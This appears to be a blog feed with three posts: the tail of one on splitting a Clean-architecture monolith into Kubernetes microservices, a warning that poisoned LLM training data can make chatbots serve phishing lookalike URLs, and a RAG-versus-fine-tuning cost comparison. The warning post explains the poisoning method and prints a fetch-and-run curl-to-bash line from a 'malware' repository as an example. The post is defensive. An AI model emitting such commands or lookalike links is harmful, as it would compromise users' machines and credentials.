After working for an extended period of time on the monolith, we will learn more about the service boundaries and how they should be defined. At some point, we will be ready to split the monolith into microservices. The great news is that because we have followed the Onion/Clean architecture principles and have encapsulated each boundary in its own IoC module, we can easily extract each boundary into its own microservice without changing major parts of the existing code.

First we need to create a new composition root for each microservice. Each composition root will create its own IoC container and load only the IoC modules that are relevant for that specific microservice. We can create a helper function that creates a microservice given a configuration object:

export interface ServiceConfig {
    port: number;
    name: string;
    iocModules: ContainerModule[];
}

export async function createMicroService(config: ServiceConfig) {
    const { port, iocModules } = config;
    const container = new Container();
    container.load(...iocModules);
    const app = await createAppServer(container, port);
    app.listen(port, () => {
        console.log(`Server started on http://localhost:${port}`);
    });
}

Now we can create a new entry point for each microservice. Each entry point will use the createMicroService function to create a microservice with its own IoC container and relevant IoC modules. For example, here is the entry point for the authentication & authorization microservice:

// api/src/infrastructure/http/microservices/auth/index.ts
await createMicroService({
    port: 8080,
    iocModules: [
        infrastructureIocModule,
        authIocModule
    ],
    name: "auth",
});

And here is the entry point for the content management microservice:

// api/src/infrastructure/http/microservices/cms/index.ts
await createMicroService({
    port: 8080,
    iocModules: [
        infrastructureIocModule,
        templateManagementIocModule,
        contentManagementIocModule
    ],
    name: "cms",
});

We then use Kubernetes to deploy each microservice as a separate deployment. Each deployment will run its own instance of the microservice, and we can use Kubernetes services to expose each microservice to the outside world.

3. Manage most of the microservices complexity from the CI/CD layer not the application code

The main idea here is that we should move most of the complexity of managing multiple microservices to the CI/CD layer. Each microservice has its own entry point, and we can use our CI/CD pipeline to build, test, and deploy each microservice independently. Most of the code remains unchanged, as we have not modified any of the existing business logic or domain models. The only changes we have made are in the composition roots for each microservice.

The key insight here is that we use the same codebase for all microservices. We don't create separate repositories or duplicate code. The main goal is to continue to develop the application in a way that feels like working on a monolith as much as possible.

Most of the microservices complexities are pushed out to the CI/CD layer, where you should leverage Kubernetes heavily to manage the deployments, scaling, and service discovery.

To achieve this, we use a single Dockerfile with different build arguments to specify which entry point to use. The key optimization is that each microservice image only includes the code relevant to that service:

FROM node:20-alpine
WORKDIR /app
COPY . .
ARG SERVICE_NAME=monolith
RUN node scripts/prune-services.js $SERVICE_NAME
RUN npm ci && npm run build
ARG SERVICE_ENTRY_POINT=dist/index.js
ENV ENTRY_POINT=$SERVICE_ENTRY_POINT
CMD ["sh", "-c", "node $ENTRY_POINT"]

The prune-services.js script removes directories not relevant to the target service. For example, when building the auth service, it removes app-services/cms, domain-model/dam, infrastructure/http/controllers/tenant, etc.—keeping only auth-related code and shared infrastructure.

Then in our CI/CD pipeline, we build separate images for each microservice by passing different entry points:

# Build auth microservice
docker build \
  --build-arg SERVICE_NAME=auth \
  --build-arg SERVICE_ENTRY_POINT=dist/infrastructure/http/microservices/auth/index.js \
  -t auth-service .

# Build cms microservice  
docker build \
  --build-arg SERVICE_NAME=cms \
  --build-arg SERVICE_ENTRY_POINT=dist/infrastructure/http/microservices/cms/index.js \
  -t cms-service .

You can use hashes to verify if a microservice needs to be redeployed—if the code for a specific microservice has not changed, you can skip the deployment for that microservice. Since each image only contains service-specific code after pruning, the resulting image digest will only change when relevant code changes. Compare the new image digest against the one currently in your container registry using skopeo:

REGISTRY=myregistry.azurecr.io

# Get digest of newly built image (after pushing to registry)
NEW_DIGEST=$(skopeo inspect docker://$REGISTRY/auth-service:$COMMIT_SHA | jq -r '.Digest')

# Get digest of currently deployed image (tagged as 'latest' or 'production')
DEPLOYED_DIGEST=$(skopeo inspect docker://$REGISTRY/auth-service:latest | jq -r '.Digest')

# Only deploy if the digests differ
if [ "$NEW_DIGEST" != "$DEPLOYED_DIGEST" ]; then
  # Tag the new image as latest
  skopeo copy docker://$REGISTRY/auth-service:$COMMIT_SHA docker://$REGISTRY/auth-service:latest
  # Update the deployment
  kubectl set image deployment/auth-service auth-service=$REGISTRY/auth-service:$COMMIT_SHA
fi

Since each service build is independent, you can run all builds in parallel to speed up the CI/CD pipeline.

Conclusion

The Onion/Clean architecture is powerful because it allows you to build applications that are easy to maintain and extend over time. Your application becomes a modular plugin system where each component can be swapped out independently.

For example, in this particular application, we migrated from CosmosDB to PostgreSQL a few months after starting the project. Because we had followed the Onion/Clean architecture principles, we were able to swap out the database implementation layer (infrastructure/db/repositories) without changing any of the existing code. We simply created a new IoC module for PostgreSQL and updated the composition root to use the new module.

The composition root is a very powerful concept because we delay the decision of how to compose the application until runtime. This allows us to easily transition from a monolithic architecture to a microservices architecture without changing any of the existing code (if you designed the monolith with this goal in mind from the start).

Beware: ChatGPT Could Be Attacking You!

Remo H. Jansen — Tue, 12 Aug 2025 06:41:23 +0000

Did you know that your AI chatbot could be trying to hack you?

Introduction

The other day, I was deep in research mode, hammering away at ChatGPT with questions to fuel my latest project. The responses were solid, as usual—until one caught my eye. It was a perfectly valid answer, but nestled within it was a link that screamed trouble. A quick glance revealed it wasn’t just a dodgy URL; it was a full-on phishing site designed to look legit. I’ve always known large language models (LLMs) like ChatGPT can churn out imperfect or biased answers, but this was a wake-up call. I hadn’t realized they could unwittingly serve up a phishing attack as part of their response.

How Did This Happen?

The mechanics behind this are as fascinating as they are unsettling. Hackers are clever—they don’t just slap together a random malicious site and hope for the best. They’re methodical. Here’s how they pull it off:

Harvesting Legitimate URLs: Attackers start by scraping all the legitimate URLs from a trusted website—think something like github.com. They map out the structure, capturing every detail of how the URLs are constructed.
Crafting Malicious Mimics: Using this map, they create a parallel set of URLs that mirror the originals but point to a malicious domain. For example, a legitimate URL like github.com/awesome-project might be mimicked as github.dangeroussite.com/awesome-project. The subdomain stays the same to trick the eye, but the root domain is a trap.
Infiltrating LLM Training Data: LLMs like ChatGPT are trained on vast swaths of internet data, which unfortunately includes both legitimate and malicious content. Since these models predict the next most likely token based on patterns in their training data, they can’t always distinguish between the real github.com and its evil twin, github.dangeroussite.com. Over time, the malicious URL might slip into a response, especially if it’s been seeded across enough corners of the web to seem plausible.

This isn’t a hypothetical—it’s a real risk. The LLM doesn’t “know” it’s handing you a phishing link; it’s just following the patterns it’s learned. And because these malicious URLs are designed to blend in, they can easily go unnoticed by users who trust the AI’s output.

How Severe Is This?

This issue is a big deal—potentially catastrophic in some contexts. Most users don’t expect an AI chatbot to serve up malicious content, which makes this a sneaky and effective attack vector. Imagine you’re a developer querying an LLM for a quick setup guide, or a customer service rep using an AI tool to respond to support tickets. A single malicious URL slipping through could lead to stolen credentials, compromised systems, or even large-scale data breaches.

But phishing links are just the start. LLMs can be manipulated to generate other types of malicious content, like rogue code or harmful instructions. For instance, say you ask for the command to install nvm (Node Version Manager). The correct command is:

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash

But a compromised LLM might subtly tweak it to:

curl -o- https://raw.githubusercontent.com/evil-hacker/malware/v0.40.3/install.sh | bash

The difference is subtle, but the impact is devastating—running that command could execute malicious code on your machine. In customer support scenarios, the stakes are even higher. Imagine an AI sending phishing links to thousands of users in response to support queries. The legal and reputational fallout for companies could be massive, not to mention the harm to users who fall victim.

This isn’t just a technical glitch; it’s a high-risk issue that exploits our trust in AI systems. As LLMs become more integrated into workflows—coding, customer service, research—the potential for harm grows exponentially.

What Can Be Done to Mitigate the Risk?

Tackling this problem requires a multi-layered approach, and it’s not just on users to stay vigilant. Here’s what can be done:

Clean Up Training Data: Companies like OpenAI, xAI, and others building LLMs need to take responsibility for sanitizing their training datasets. This means actively identifying and excluding malicious sites during the data curation process. It’s not easy—hackers are constantly spinning up new domains—but advanced filtering techniques, like cross-referencing URLs against known malware databases, can help. This step is critical to prevent malicious content from ever making it into the model’s knowledge base.
Filter LLM Outputs: Implementing real-time filtering mechanisms for LLM responses is another key defense. Before a response reaches the user, it should be scanned for known malicious URLs or suspicious patterns. This could involve integrating with existing security tools, like Google’s Safe Browsing API or proprietary blocklists. The downside? Filtering adds latency, increases costs, and could impact user experience if not done carefully. Both AI providers and companies deploying LLMs (e.g., in customer support platforms) need to invest in these safeguards, balancing security with performance.
Strengthen Browser and System Security: On the user side, browsers and operating systems can play a bigger role. Modern browsers already block access to known malware sites, but these protections need to be more proactive. Enhanced detection of lookalike domains (e.g., github.dangeroussite.com) and better user warnings before redirection can stop attacks before they succeed. Developers and end-users should also practice safe habits—like double-checking URLs and avoiding running unverified scripts—though this alone isn’t enough.
Educate and Empower Users: Awareness is a powerful tool. Companies deploying LLMs should educate users about the risks of AI-generated content, especially in high-stakes environments like customer support or software development. Clear warnings and guidelines can help users spot suspicious outputs and avoid falling for traps.

None of these solutions are foolproof, but together, they can significantly reduce the risk. It’s a shared responsibility—AI providers, businesses, and users all have a role to play.

Summary

AI chatbots like ChatGPT are powerful tools, but they come with hidden dangers. A recent brush with a phishing link in an AI response opened my eyes to how LLMs can unwittingly serve up malicious content, from phishing URLs to harmful code. This happens because hackers exploit the models’ reliance on internet data, sneaking malicious patterns into their training sets. The risks are severe—compromised systems, stolen data, and even legal consequences for businesses using AI in sensitive contexts like customer support. Mitigation requires cleaner training data, real-time output filtering, stronger browser security, and user awareness. As we lean more on AI, we need to stay sharp and demand better safeguards to keep these tools from becoming weapons.

RAG vs Fine-Tuning: Which One Wins the Cost Game Long-Term?

Remo H. Jansen — Thu, 24 Jul 2025 07:41:56 +0000

Over the past few months, I’ve been diving deep into Retrieval-Augmented Generation (RAG) and fine-tuning strategies for LLMs. While RAG is often praised for its flexibility and lower upfront cost, I’ve started to question whether that narrative holds up when you zoom out and look at the long-term economics—especially in high-volume, production-grade scenarios.

The Common Assumption: RAG is Cheaper

RAG is typically seen as the budget-friendly option. You don’t need to retrain your model. You just embed your data, store it in a vector DB (like Azure AI Search), and inject relevant chunks into the prompt at runtime. Easy, right?

But here’s the catch: every time you inject those chunks, you’re inflating your prompt size. And with LLMs, tokens = money.

The Hidden Cost of Context Bloat

Let’s say your base prompt is 15 tokens. Add a few RAG chunks and suddenly you’re pushing 500+ tokens per call. Multiply that by thousands of users and you’re looking at a serious spike in operational cost.

In fact, some benchmarks show that:

Configuration	Cost (USD) per 1K queries
Base Model	$11
Fine-Tuned Model	$20
Base + RAG	$41
Fine-Tuned + RAG	$49

So yes, RAG is cheaper to start—but not necessarily to scale.

Fine-Tuning: Expensive Upfront, Efficient Over Time

Fine-tuning gets a bad rap for being expensive. And it is—at first. You need curated data, GPU time, and a solid evaluation pipeline. But once you’ve done the work, you get:

Lower token usage (no need to inject long context)
Faster responses (smaller prompts = lower latency)
More consistent outputs (less prompt engineering gymnastics)

If your use case involves repetitive queries over a stable knowledge base, fine-tuning can actually be the cheaper option in the long run.

The Hybrid Sweet Spot

Of course, it’s not always either/or. The smartest teams I’ve seen are blending both:

Fine-tune for core domain knowledge
Use RAG for dynamic, time-sensitive data

This hybrid approach gives you the best of both worlds: cost efficiency, flexibility, and performance.

Final Thoughts

If you’re building internal agents or customer-facing copilots, don’t just default to RAG because it’s easier to prototype. Run the numbers. Model your token usage. Think about scale.

Sometimes, the “expensive” option turns out to be the most economical—if you play the long game.

Bonus Tip: Optimize your AI costs with AI Foundry

If you're working within the Microsoft ecosystem, I highly recommend using the Azure AI Foundry Capacity Calculator to estimate your token consumption per minute using a standardized way to measure and allocate LLM usage across workloads known as PTUs (Provisioned throughput units). PTUs help you understand how much you're consuming and how that translates into cost. It’s a great way to model the cost impact of different architectures (RAG, fine-tuning, or hybrid) before you commit.

Using the calculator can help you make smarter architectural decisions—before they become expensive ones.

You can also reserve PTUs to enjoy up to 70% discounts compared to pay-as-you-go pricing, making them a smart choice for predictable, production-scale workloads. I highly recommend reading Right-size your PTU deployment and save big to understand how to leverage PTUs to optimize the cost of deploying enterprise Agents.

For more info, please refer to Understanding costs associated with provisioned throughput units (PTU)